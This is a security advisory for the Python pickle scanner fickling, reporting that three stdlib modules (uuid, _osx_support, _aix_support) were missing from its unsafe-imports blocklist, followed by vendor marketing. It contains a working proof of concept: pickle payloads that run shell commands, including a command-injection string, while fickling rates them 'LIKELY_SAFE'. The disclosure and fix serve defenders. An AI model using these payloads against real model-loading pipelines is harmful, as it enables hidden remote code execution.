GHSA-5hwf-rc88-82xm
Fickling missing RCE-capable modules in UNSAFE_IMPORTS
Blast Radius
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Description
Assessment
The modules uuid, _osx_support and _aix_support were added to the blocklist of unsafe imports (https://github.com/trailofbits/fickling/commit/ffac3479dbb97a7a1592d85991888562d34dd05b).
Original report
Summary
fickling's UNSAFE_IMPORTS blocklist is missing at least 3 stdlib modules that provide direct arbitrary command execution: uuid, _osx_support, and _aix_support. These modules contain functions that internally call subprocess.Popen() or os.system() with attacker-controlled arguments. A malicious pickle file importing these modules passes both UnsafeImports and NonStandardImports checks.
Affected Versions
- fickling <= 0.1.8 (all versions)
Details
Missing Modules
fickling's UNSAFE_IMPORTS (86 modules) does not include:
| Module | RCE Function | Internal Mechanism | Importable On |
|---|---|---|---|
uuid | _get_command_stdout(cmd, *args) | subprocess.Popen((cmd,) + args, stdout=PIPE, stderr=DEVNULL) | All platforms |
_osx_support | _read_output(cmdstring) | os.system(cmd) via temp file | All platforms |
_osx_support | _find_build_tool(toolname) | Command injection via %s in _read_output("/usr/bin/xcrun -find %s" % toolname) | All platforms |
_aix_support | _read_cmd_output(cmdstring) | os.system(cmd) via temp file | All platforms |
Critical note: Despite the names _osx_support and _aix_support suggesting platform-specific modules, they are importable on ALL platforms. Python includes them in the standard distribution regardless of OS.
Why These Pass fickling
NonStandardImports: These are stdlib modules, sois_std_module()returns True → not flaggedUnsafeImports: Module names not inUNSAFE_IMPORTS→ not flaggedOvertlyBadEvals: Function names added tolikely_safe_imports(stdlib) → skippedUnusedVariables: Defeated by BUILD opcode (purposely unhardend)
Proof of Concept (using fickling's opcode API)
from fickling.fickle import (
Pickled, Proto, Frame, ShortBinUnicode, StackGlobal,
TupleOne, TupleTwo, Reduce, EmptyDict, SetItem, Build, Stop,
)
from fickling.analysis import check_safety
import struct, pickle
frame_data = b"\x95" + struct.pack("<Q", 60)
# uuid._get_command_stdout — works on ALL platforms
uuid_payload = Pickled([
Proto(4),
Frame(struct.pack("<Q", 60), data=frame_data),
ShortBinUnicode("uuid"),
ShortBinUnicode("_get_command_stdout"),
StackGlobal(),
ShortBinUnicode("echo"),
ShortBinUnicode("PROOF_OF_CONCEPT"),
TupleTwo(),
Reduce(),
EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
Build(),
Stop(),
])
# _aix_support._read_cmd_output — works on ALL platforms
aix_payload = Pickled([
Proto(4),
Frame(struct.pack("<Q", 60), data=frame_data),
ShortBinUnicode("_aix_support"),
ShortBinUnicode("_read_cmd_output"),
StackGlobal(),
ShortBinUnicode("echo PROOF_OF_CONCEPT"),
TupleOne(),
Reduce(),
EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
Build(),
Stop(),
])
# _osx_support._find_build_tool — command injection via %s
osx_payload = Pickled([
Proto(4),
Frame(struct.pack("<Q", 60), data=frame_data),
ShortBinUnicode("_osx_support"),
ShortBinUnicode("_find_build_tool"),
StackGlobal(),
ShortBinUnicode("x; echo INJECTED #"),
TupleOne(),
Reduce(),
EmptyDict(), ShortBinUnicode("x"), ShortBinUnicode("y"), SetItem(),
Build(),
Stop(),
])
# All three: fickling reports LIKELY_SAFE
for name, p in [("uuid", uuid_payload), ("aix", aix_payload), ("osx", osx_payload)]:
result = check_safety(p)
print(f"{name}: severity={result.severity}, issues={len(result.results)}")
# Output: severity=Severity.LIKELY_SAFE, issues=0
# All three: pickle.loads() executes the command
pickle.loads(uuid_payload.dumps()) # prints PROOF_OF_CONCEPT
Verified Output
$ python3 poc.py
uuid: severity=Severity.LIKELY_SAFE, issues=0
aix: severity=Severity.LIKELY_SAFE, issues=0
osx: severity=Severity.LIKELY_SAFE, issues=0
PROOF_OF_CONCEPT
Impact
An attacker can craft a pickle file that executes arbitrary system commands while fickling reports it as LIKELY_SAFE. This affects any system relying on fickling for pickle safety validation, including ML model loading pipelines.
Suggested Fix
Add to UNSAFE_IMPORTS in fickling:
"uuid",
"_osx_support",
"_aix_support",
Longer term: Consider an allowlist approach — only permit known-safe stdlib modules rather than blocking known-dangerous ones. The current 86-module blocklist still has gaps because the Python stdlib contains hundreds of modules.
Resources
- Python source:
Lib/uuid.pylines 156-168 (_get_command_stdout) - Python source:
Lib/_osx_support.pylines 35-52 (_read_output), lines 54-68 (_find_build_tool) - Python source:
Lib/_aix_support.pylines 14-30 (_read_cmd_output) - fickling source:
analysis.pyUNSAFE_IMPORTSset
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | fickling | all versions | 0.1.9 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for fickling. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update fickling to 0.1.9 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-5hwf-rc88-82xm is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-5hwf-rc88-82xm is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-5hwf-rc88-82xm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-5hwf-rc88-82xm in your dependencies?
O3 detects GHSA-5hwf-rc88-82xm across PyPI dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.